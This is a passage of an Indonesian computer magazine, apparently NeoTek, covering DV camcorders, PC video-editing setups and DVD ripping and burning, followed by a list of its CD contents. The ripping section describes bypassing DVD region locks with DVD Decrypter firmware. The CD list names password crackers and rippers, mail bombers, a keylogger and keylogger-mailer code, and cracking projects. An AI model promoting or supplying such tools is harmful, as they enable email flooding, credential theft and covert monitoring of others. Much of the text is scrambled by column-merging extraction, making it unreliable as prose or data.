adalah MiniDV, Digital8, dan MicroMV, • Optical zoom • Optical zoom lebih • Digital image zoom 10x atau zoom 10x atau
semuanya dapat di-upload ke komputer 10x atau lebih • 10x atau lebih • stabilizer • 2,5in TFT screen lebih • Digital lebih dengan lensa
memalui port FireWire. Yang dominan Digital image Digital image • Color viewfinder • ADC image stabilizer kelas atas • Op -
sekarang adalah MiniDV. stabilizer stabilizer in/out port • Still image • 2,5in TFT screen tical image stabil -
• 2,5in TFT screen • 2,5in TFT screen 1280x960 pixel • Color • Colour viewfinder izer • 2,5in TFT
Digital8 adalah pilihan kalau anda • Mono • Mono viewfinder viewfinder • ADC in/out port screen • Colour
sudah punya camcorder analog sebe- viewfinder • Berat < 450g viewfinder • ADC
lumnya dan perlu backard-compatible, in/out port
sedangkan MicroMV (dari Sony) ha-
D V Camcor
Camcorder
der yang Direk
Direkomendasikan
omendasikan
nya dapat membentuk format MPEG2
yang ditujukan untuk DVD. JVC Panasonic JVC Panasonic Sony
GR-D50 NV-DS60A-S GR-DV900 NV-GS70A-S DCR-VX2000

Vol. IV No. 02 NeoTek 45


NeoReview

Menjadikan PC Anda DV-Ready


Menjadikan PC anda DV-Ready bukan hanya memasang FireWire card, komputer anda harus
mempunyai memori dan hard disk yang cukup besar selain prosesor yang cepat. Adapun editing
software, port yang diperlukan dan lainnya diperoleh dari DV Kit yang mencakup FireWire card.
edit video, namun yang dulu disebut bantu dalam rendering dan real-time
U
NTUK MULAI MENGEDIT VIDEO
di PC ada tiga hal yang anda sebagai komputer kelas atas sekarang processing.
butuhkan: video editing soft- ini sudah menjadi komputer biasa- Diperlukan juga sound card 16-bit
ware, komputer dengan memori dan biasa saja, dan format DV membuat yang mungkin sudah merupakan
hard disk memadai, dan port FireWire sistem komputer untuk digital video standar pada PC anda. Juga diperlukan
untuk menghubungkan digital cam- editing semakin terjangkau saja. CD burner dan kalau bisa DVD burner.
corder ke komputer anda. Komputer anda paling sedikit harus CD burner harganya sekitar 500 ribu,
Beberapa komputer dan laptop sudah menjalankan Windows 98SE, dan sedangkan DVD burner kini harganya
menyediakan port FireWire, tetapi mulai dengan Windows ME, Microsoft sudah sangat turun dan dapat diperoleh
apabila komputer anda belum mem- sudah menyediakan basic video editing dengan harga dibawah 1,5 juta rupiah.
punyai port FireWire, maka cara yang software bersama Windows, yaitu
paling mudah dan murah adalah mem- Movie Maker. Catatan
beli FireWire card yang sudah dileng- Pada sistem Windows, paling baik FireWire port pada awalnya dikenal
kapi dengan digital video kit berupa gunakan Windows XP dengan hard pada Macintosh, sedangkan di PC di-
card FireWire serta analog port serta disk paling tidak 40 Gbyte (disarankan kenal PC nama IEEE 1394 port. Juga
basic video editing software. hard disk model 7200 rpm) dan hard dikenal sebagai iLink port (pada pe-
Kit dengan card yang hanya menye- disk ini sebaiknya merupakan hard rangkat merk Sony).
diakan FireWire input port harganya disk kedua khusus untuk file-file Breakout box adalah suatu box
sekitar 500 ribuan, sedangkan yang video, yang dipisahkan dari hard disk eksternal yang terhubung ke DV card
menyediakan kiga analog input port untuk sistem. dan mempunyai berbagai macam port
(untuk capture dari VCR dan cam- Windows XP diajurkan sebab mendu- seperti FireWire, analog video input
corder analog) harganya sekitar satu kung partisi NTFS yang akan santa maupun output.
juta. Apabila membutuhkan pula berguna apabila kelak anda perlu Real-time support memproses meng-
analog output, makanya harganya membentuk suatu file tunggal yang gunakan CPU, sehingga captura dan
lebih mahal lagi. ukurannya sangat besar (di atas 2 pemberian efek video dapat dilakukan
Untuk pemakaian lebih serius lagi da- Gbyte). Sesuatu yang sangat mungkin sambil melakukan shooting.
pat dipertimbangkan bukan lagi PC apabila bekerja dengan digital video. Processor scalable performance artinya
card melainkan video box yang memu- Prosesor yang dianjurkan adalah kualitas rendering akan meningkat
dahkan input, output, dan pengenda- Pentium 4 dengan kecepatan 2 GHz dengan meningkatnya kualitas hard-
lian dari dan ke berbagai sumber dan atau lebih, yang akan sangat mem- ware.
format video.
DV versus MPEG M E M I LI H D V K I T
Kebanyakan DV kit sudah mencakup
FireWire card dan mendukung DV Kegunaan Utama dari K It
format yang digunakan oleh
Basic DV Capture DV/Analog MPEG Capture Video Editor Production
camcorder-camcorder digital. Capture & Editing DVD authoring Amatir Serius House Pemula
& Editing
Ada juga kit yang mendukung format
MPEG. Biasanya berupa box eksternal Berapa
Berapa Anggaran
Anggaran yang Diperlukan
yang dirancang untuk dihubungkan ke
0,5 juta 1 juta 1,5 juta 4 juta 6,5 juta
USB port serta beberapa DV card kelas
atas.
Spesifikasi yang Harus Diperoleh
Diperoleh
MPEG dirancang sebagai medium dis-
tribusi untuk VCD (MPEG-1) dan kini • Expansion card • FireWire card • External USB • FireWire card • FireWire card dengan
DVD (MPEG-2). Format ini pada dengan multiple dengan analog device dengan dengan analog video analog video dan audio
dasarnya tidak ditujukan sebagai FireWire ports • video dan audio analog video dan dan audio input • input • Breakout box untuk
Video editing input • Video audio input/output Breakout box untuk konektor • Advanced video
format untuk capturing dan editing. software editing software • Real-time MPEG konektor • editing software dengan
Karena sifat kompresinya file MPEG capture (MPEG-1 Advanced DVD YUK capture • Advanced
tidak mudah untuk diedit. Jadi hasil dan MPEG-2) • authoring software • DVD authoring software •
DVD authoring Real-time support Extensive real-time support
capture anda yang berupa format DV software mencakup MPEG capture •
jangan dikonversi dulu menjadi MPEG Processor scalable
apabila masih akan diedit. performance

Spesifikasi Komputer D V Kit yang Direk


Direkomendasikan
omendasikan
Sebelum adanya format DV, diperlu-
Pinnacle V-Gear Fusion Firebird Matrox
kan PC kelas atas untuk dapat meng- Studio DV Clip DV Pro MPEG2 XE Full RT.X100 Xtreme

46 NeoTek Vol. IV No. 02


NeoReview

DVD-Ripping dan DVD-Burning


Dengan DVD burner yang kini bisa diperoleh dengan harga di bawah 1,5 juta, membuat sendiri
DVD video disk bukan lagi menjadi hambatan. Kenali struktur DVD video serta standar-
standar lain agar dapat memanfaatkan DVD burner anda sebesar mungkin.

merupakan file utama berisi gambar Mengkonversi File VOB


A
GAR DAPAT DIMAINKAN PADA
semua DVD player maupun dan audio stream. Biasanya dipecah File VOB yang di-rip perlu di-encode
DVD-ROM drive, DVD-video menjadi tiga atau empat file, masing- menjadi file yang dapat digunakan
disk harus mempunyai struktur stan- masing dengan yang nama berurutan: langsung pada PC (biasanya untuk
dar tertentu. Namun file-file ini tidak VTS_01_1.VOB, VTS_01_2.VOB, diedit paling baik gunakan AVI).
bisa diedit lagi dan terlalu besar un- VTS_01_3.VOB, dan seterusnya. Ti-
tuk keperluan Internet. Untuk me- dak ada file VOB yang ukurannya di Untuk mengkonversi file VOB hasil
mainkannya pada DVD-ROM drive atas 1 Gbyte, dengan paling banyak ripping menjadi file AVI selain dapat
diperlukan player tertentu seperti lima file VOB yang berurutan pada menggunakan Pinnacle InstantCopy,
misalnya Cyberlink Power DVD. suatu single-layer disc (DVD-5) dan dapat juga menggunakan DVD2AVI
tidak lebih dari sembilan pada dual- yang dikenal sebagai frame serving
Untuk memainkannya langsung pada tool, karena dirancang untuk melayani
komputer, file pada DVD-video disk layer disc (DVD-9).
video untuk MPEG encoding tool
harus diubah dulu menjadi file AVI Suatu DVD disc dapat juga mencakup seperti TNPGEnc untuk membentuk
atau MPEG, melalui proses ripping Video Title Set tambahan yang men- DVD-video atau video disc lain yang
serupa dengan yang dilakukan pada cakup IFO, VOB, dan BUP dengan dapat dibaca oleh DVD player.
audio CD menjadi file WMA atau MP3. nama berurutan seperti VTS_02_1,
VTS_03_1, dan seterusnya. Ini biasa- Cara lain untuk mengkonversi VOB
Struktur File DVD-Video nya merupakan fitur ekstra yang file adalah menggunakan VirtualDub,
Untuk melakukan ripping terhadap berupa rekaman dokumentasi atau yang versi untuk DVD-nya disediakan
DVD-video disk, anda harus memahami behind-the-scene. Semua ini juga dalam CD NeoTek. Versi ini, disebut
struktur file-nya. Struktur ini terdapat dapat di-copy ke hard disk. sebagai VirtualDub MPEG2-AC-3
pada disk film DVD komersial maupun langsung membaca file VOB berserta
buatan anda sendiri. File data utama DVD Decrypter surround sound audio AC-3-nya.
menggunakan ekstensi VOB serta Cara terbaik untuk menelaah struktur Untuk Playback di PC
beberapa lainnya: suatu DVD disc adalah menggunakan
tool seperti DVD Decrypter, suatu Untuk playback di PC, file video yang
VIDEO_TS.IFO telah diekstrak itu paling baik meng-
Dikenal sebagai Video Manager Infor- DVD analysing and ripping tool yang
dsiediakan dalam CD NeoTek kali ini. gunakan DivX atau XviD codec yang
mation Set, yaitu file konfigurasi yang akan sangat memperkecil ukuran file
menentukan struktur disk serta men- Untuk DVD ripping anda dapat juga
menggunakan Pinnacle Instant Copy. video.
cakup informasi region-coding.
Pada saat menjalankan DVD Decrypter Untuk itu anda perlu menginstal DivX
VIDEO_TS.VOB dan/atau XviD codec (keduanya dise-
Dikenal sebagai Video Object file for mungkin anda akan mendapatkan pe-
san ASPI error, yang artinya pada kom- diakan dalam CD NeoTek).
VMG Menu. File ini bertindak sebagai
bookmark untuk menginformasikan puter anda belum terpasang ASPI dri- Anda dapat mengubah ukuran video
pada player bahwa itulah awal disk. ver yang diperlukan oleh CD atau frame, sejauh mengikuti aturan bahwa
DVD burner. Dapatkan ASPI driver resolusi horizontal dapat dibagi dengan
VIDEO_TS.BUP yang sesuai dengan sistem anda pada empat dan resolusi vertikal dapat di-
Backup file dari Video Manager Infor- situs web Adaptec (wwww.adaptec.com). bagi dengan dua.
mation Set (VIDEO_TS.IFO).
Dengan DVD Decrypter anda dapat Merekam Kembali ke DVD Disc
VTS_01_0.IFO melihat file-file yang terdapat pada
File Video Title Set Information Con- Untuk playback di DVD player anda
disk dalam dua mode: IFO mode dan harus memilih standard disc format.
figuration untuk kelompok pertama File mode. IFO mode memungkinkan
file-file VOB. Juga menginformasikan Format yang dapat dipakai tergantung
anda melihat isinya melalui suatu pada apakah anda menggunakan CD
player apa yang harus dikerjakan se- tree menu system dan juga memecah
waktu menggunakan onscreen menu burner atau DVD burner.
setiap seksi dari DVD agar mudah di-
system. amati. File mode menunjukkan daftar Pada bahasan ini diasumsikan anda
VTS_01_0.VOB file-file. Mode ini memberikan anda menggunakan DVD burner yang har-
Video Object Set for Video Title Set keleluasaan untuk menentukan file ganya kini sudah jauh lebih murah.
Menu, urutan pertama dari video dan mana yang ingin diekstrak, selain DVD-Video. Didukung oleh DVD
audio stream. memudahkan anda menganalisa struk- player, menggunakan MPEG-2 video
VTS_01_0.BUP tur file DVD pada disk tersebut. compression pada resolusi 720 x 576
Backup file untuk Video Object Set for Apabila anda mendapatkan error yang pixel dan frame rate 25 fps. Audio
Video Title Set Menu (VTS_01_1.IFO). disebabkan oleh region-lock, gunakan compression-nya mungkin MPEG-1
VTS_01_1.VOB link pada DVD Decrypter untuk men- Audio Layer 2 atau Linear PCM. Pada
File pertama Video Object Set for download firmware untuk meng- DVD disk 4,7 Gbyte, DVD-Video
Video Title Set Menu, yang unlock drive anda menjadi multi- dapat menyimpan sampai 2 jam video
region. bermutu tinggi.

Vol. IV No. 02 NeoTek 47


NeoReview

Digital Video & Audio daftar isi cd neotek


DIGITAL AUDIO
Selain berbagai mobile media player, pada CD NeoTek kali ini ter- AV MP3 Morpher mp3morpher.exe
sedia berbagai software untuk digital video maupun audio. CDex 1.5 cdex_150.exe
Digital Audio Filter EchoFilter30Trial
Pinnacle Studio 8 & Hollywood FX Gold FreeRip MP3 freeripmp3.exe
Yang utama adalah pendamping untuk artikel digital video, yaitu iTunes for Windows WMEncoder.exe
Pinnacle studio 8 (Trial) dan Hollywood FX Gold (HFX45-GLD- MP3 DJ Studio iTunesSetup
545249-95M) yang dapat anda coba untuk memulai digital video MP3 Doctor mp3doctor.zip
editing serta penambahan efek-efek khusus. Sonique 1.9.6 sonique196.exe
VirtualDub MPEG2 2.1.54 dan DVD Tool Lain WinAmp 3.0 Full winamp3_0-full.exe
Berbeda dengan VirtualDub yang dimuat di CD NeoTek III/11, DIGITAL VIDEO
yang dimuat kali ini adalah modifikasi yang mempu melakukan Burn4Free 1.0 burnfree.exe
ripping terhadap DVD video (file MPEG2) . DivX 5.1 divx51.exe
Selain itu terdapat berbagai DVD maupun VCD Tool dengan DVD2AVI 1.77.3 dvd2avi.zip
berbagai fungsi: DVD Decrypter 3.1.6.0 decrypt.exe
Burn4Free: mem-burn data dan audio dari berbagai tipe berbeda. DVD Genie 4.10 dvdgn410.exe
DVD2AVI 1.77.3: Konversi DVD ke AVI.VCD/SVCD DVD Shrink 3.0 shrink30.zip
DVD Decrypter 3.1.6.0: analyzing and ripping tool. FitCD 1.1.2 fitcd112.zip
DVD Genie 4.10: DVD tweaking untuk mengubah region code. Hollywood FX 4.5 Gold hfx45gold
DVD Shrink 3.0: mem-backup DVD ke media kapasitas lebih kecil. ifoEdit 0.95 idoedit.zip
FitCD 1.1.2: Menghitung image-size dan bitrate untuk SVCD K-lite Codec Pack 2.0.4 klcodec2.exe
ifoEdit 0.95: Mengoreksi sector address pada .ifo file pada DVD. Pinncale InstantCopy 7 Trial instcopy.zip
K-lite Codec Pack 2.0.4: Mem-playback format-format video/audio. Pinnacle Studio 8 Trial Studio_8.6.32_trial.zip
Subtitle Workshop 2.0.2: Menambahkan teks pada film. Subtitle Workshop 2.0.2 subtws20.zip
TEMPGEnc 2.5.20: MPEG dan MPEG2 encoder (VCD dan DVD). TEMPGEnc 2.5.20 tempgenc.zip
VCD Gear 3.5.5: Ekstrak MPEG stream dari CD, konversi dan koreksi. VCD Gear 3.5.5 vcdgear.zip
VCD Imager 0.7.12: Membentuk CD image dari MPEG files. VDC Imager 0.7.12 vcdimage.zip
WinDV 1.2.3: Capture video dari camcorder menjadi AVi file. VirtualDub MPEG2 2.1.54 virtdubm.zip
Xvid Codec: Membuat Media Player dapat membaca kompresi Xvid. WinDV 1.2.3 windv123.zip
XvidCodec xvid92.exe
CRACKING TOOLS GAME
DJ Java Decompiler 3.5.5.77 djdec355.zip Beetle Ju beetleju.exe
IDA Pro 4.30 idapro430740.rar HARD DISK TOOL
WinDasm 893 wdasm893.zip Genie Backup Manager gbmanagerv3_setup.exe
Winhex winhex.zip Paragon Drive Backup db2002.zip
PALM OS PROGRAM Paragon Partition Manager pm2002.zip
Csh_xpense Pro 2.0 battod.exe INTERNET PRIVACY
Text Complete 1.20 easysms.zip Ad-Aware 6.0 aaw6.exe
ZLauncher Trial picview.zip CyberScrub 3.0 cybbasic0999.exe
POCKET PC SOFTWARE Ella for Outlook ella.exe
Battery Pack 2003 setup.exe Invisible Secret 2.1 netkeys4 RegCode.txt
easySMS 1.55 setup.exe PAL Computer Surveilance Setup_CSS.exe
Resco Picture Viewer ResHack.zip PAL Evidence Eliminator popupet.exe
Smart Popup Killer smartpop.exe
PASSWORD REVEALERS
007 Password Recovery PasswordRecovery.exe KEYLOGGER
DialUp Ripper dialrip.zip Ghost Keylogger Lite gklite.zip
Dripper 2.0 Dripper2.0.zip MOBILE MEDIA
DUN Ripper dripper.zip Code Warrior 2.0 Symbian CW_SymbianOS_Personal_V2.0.exe
Rev Rev.zip Helix Mobil Producer 2.0 Helix_Mobile_Producer_2.0.zip
Revelation NT Pw. Crack revelation_1_1.zip HMP_Eval_Licenses.zip
Sandhi Yudha 1.0 SandhiYudha.zip Media Player Pocket PC wmnall.exe
Showin 2.0 showin.zip Media Player Cassiopeia WMCSO.exe
Snadboy’s Revelation RevelationV2.zip Nokia MM Converter 2.0 nMMConverter_2_0_b2.zip
Unhide unhide.exe serial number for nMMC20
WINDOWS MAIL BOMBER Platform4 PC Player Platform4_Player_for_PC3.0-1279.zip
Aenima 2.0 aenima20.zip Quick Time Full Installer QuickTimeFullInstaller.exe
Avalanche 3.6 avalanche36.zip RealOne Pocket PC RealOnePlayerppc.exe
Euthanasia 1.52 euthan152.zip RealOne Nokia 7650 realone_7650.zip
MailBomber 9.0 bomber.zip RealOne Nokia 9200 series realone_2.0.14_armi.zip
UpYours4beta2 upyours4b2.zip RealOne Nokia 9210 realone_9210.zip
RealOne Palm Tungsten C realone_palm_installer.exe
SERVERS RealOne Palm Tungsten E realone_palm_installer.exe
SMTP: PostCast Server setup.exe RealOne Palm Tungsten T realone_palm_installer.exe
SMS: Spider SMS Setup.exe RealOne Palm Tungsten T2 realone_palm_installer.exe
FTP: wFTPs 3.2.1 32xftpd321.zip RealOne Palm Tungsten T3 realone_palm_installer.exe
PROYEK RealOne Palm Zire 7.1 realone_palm_installer.exe
Cracking Helix Mobile Prod. ZolaMain.jad Series 60 SDK 1.2 Symbian nS60_sdk_v1_2.zip
Keylogger mailer.exe program code Media Encoder 7.1 wmencoder71.exe
VB Password Cracker Crack.exe program code Media Encoder 2k/XP WMEncoder.exe
VB Program Usil 4D.exe program code Media Encoder Utility wm8etil_setup.exe
VISUAL BASIC
VB Runtime 6.0 sp5 vbrun60sp5.exe
48 NeoTek Vol. IV No. 02

You might also like